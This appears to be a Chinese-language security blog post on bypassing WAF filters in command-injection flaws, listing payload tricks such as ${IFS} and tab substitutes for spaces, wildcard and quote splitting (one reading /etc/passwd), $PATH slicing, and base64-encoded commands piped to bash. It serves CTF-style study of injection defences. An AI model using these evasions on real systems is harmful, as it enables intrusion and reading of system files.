命令执行WAF绕过

Last updated on August 18, 2025 pm

命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令

漏洞原理

应用程序有的时候需要调用一些系统命令,在php中,可以执行命令的函数有 system() exec() shell_exec() passthru() popen() proc_open() pcntl_execl() 等,当黑客能够控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常的命令中,从而造成RCE攻击

漏洞危害

  • 控制服务器,执行系统命令或者读写文件
  • 反弹shell

前置知识

操作系统连接符

  • 分号 ’;‘ : 多条命令无论对错顺序执行
  • & : 多条命令无论对错顺序执行
  • && :前面命令执行不成功后面的命令不执行
  • | : 前面命令执行得到结果作为后面命令的输入
  • || :前面命令执行成功后面的命令不执行;前面的命令执行失败则后面的命令执行

WAF绕过

空格过滤绕过

大括号 {}

1
{ls,../}

IFS 代替空格

linux环境中有一个特殊的变量 IFS,叫做内部字段分隔符

1
cat$IFS/flag
1
cat${IFS}/flag
1
cat$IFS$1/flag

重定向字符

< ,<>

1
cat<>flag
1
cat<flag

%09绕过 - Tab 键

url编码,get方式使用

1
cat%09flag

黑名单绕过

?? , * 绕过

1
cat fl??
1
cat fl* 如果有多个匹配结果则同时输出

单双引号,反引号绕过

1
c""at /e't'c/pas``s``wd 

反斜杠绕过

1
cat fl\ag

特殊变量 $1-$9 $@ $*

1
cat fa$1ag

内联执行绕过

1
$a=fl;$b=ag;cat $a$b

利用linux中的环境变量

  • 先查看环境变量
1
echo $PATH
  • 系统输出一堆
1
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/usr/lib/wsl/lib:/mnt/c/Program Files/Common Files/Oracle/Java/javapath:/mnt/c/Windows/system32:/mnt/c/Windows:/mnt/c/Windows/System32/Wbem:/mnt/c/Windows/System32/WindowsPowerShell/v1.0/:/mnt/c/Windows/System32/OpenSSH/:/mnt/c/Program Files/NVIDIA Corporation/NVIDIA NvDLISR:/mnt/c/Program Files (x86)/NVIDIA Corporation/PhysX/Common:/mnt/c/Program Files/Bandizip/:/mnt/c/Tools/MISC/steghide:/mnt/c/Program Files/Git/cmd:/mnt/c/phpstudy_pro/Extensions/MySQL5.7.26/bin/:/mnt/c/Tools/MISC/Stegdetect:/mnt/c/Tools/PWN/checksec:/mnt/c/Program Files/Wireshark:/mnt/c/Program Files/nodejs/:/mnt/c/Users/Lixiney/scoop/shims:/mnt/c/Users/Lixiney/AppData/Local/Microsoft/WindowsApps:/mnt/c/Tools/Ciphey-5.14.0:/mnt/c/Users/Lixiney/AppData/Local/Programs/Microsoft VS Code/bin:/mnt/c/Program Files/JetBrains/PyCharm 2024.1/bin:/mnt/c/Program Files/JetBrains/CLion 2023.3.4/bin:/mnt/c/Users/Lixiney/AppData/Roaming/npm
  • 再执行
1
cat f${PATH:5:1}${PATH:8:1}${PATH:66:1}

${PATH:5:1} 表示取路径的第五位,从0开始,步长为1

其他常见绕过方式

base64 编码

  • 先将要执行的命令通过base64编码
1
cat flag --> Y2F0IGZsYWc=
  • 将base64编码输出出来 通过管道符解密执行,有几种方式

    •   echo "Y2F0IGZsYWc=" | base64 -d | bash
        
      1
      2
      3

      * ```bash
      `echo "Y2F0IGZsYWc=" | base64 -d`
    •   $(echo "Y2F0IGZsYWc="|base64 -d)
        
      1
      2
      3

      * ```bash
      echo Y2F0IGZsYWc= | base64 -d | sh

base32 编码

同base64编码

其他编码

同上

读取命令绕过 cat

可以使用下面的命令替换

  • tac 反向显示,从最后一行开始读取
  • more
  • less
  • tail 查看末尾几行
  • nl 显示行号
  • od 以二进制形式读取文件
  • sort
  • uniq
  • strings

命令执行WAF绕过
https://blog.lixey.top/posts/6a2b5ddf/
Author
Lixiney
Posted on
August 18, 2025
Licensed under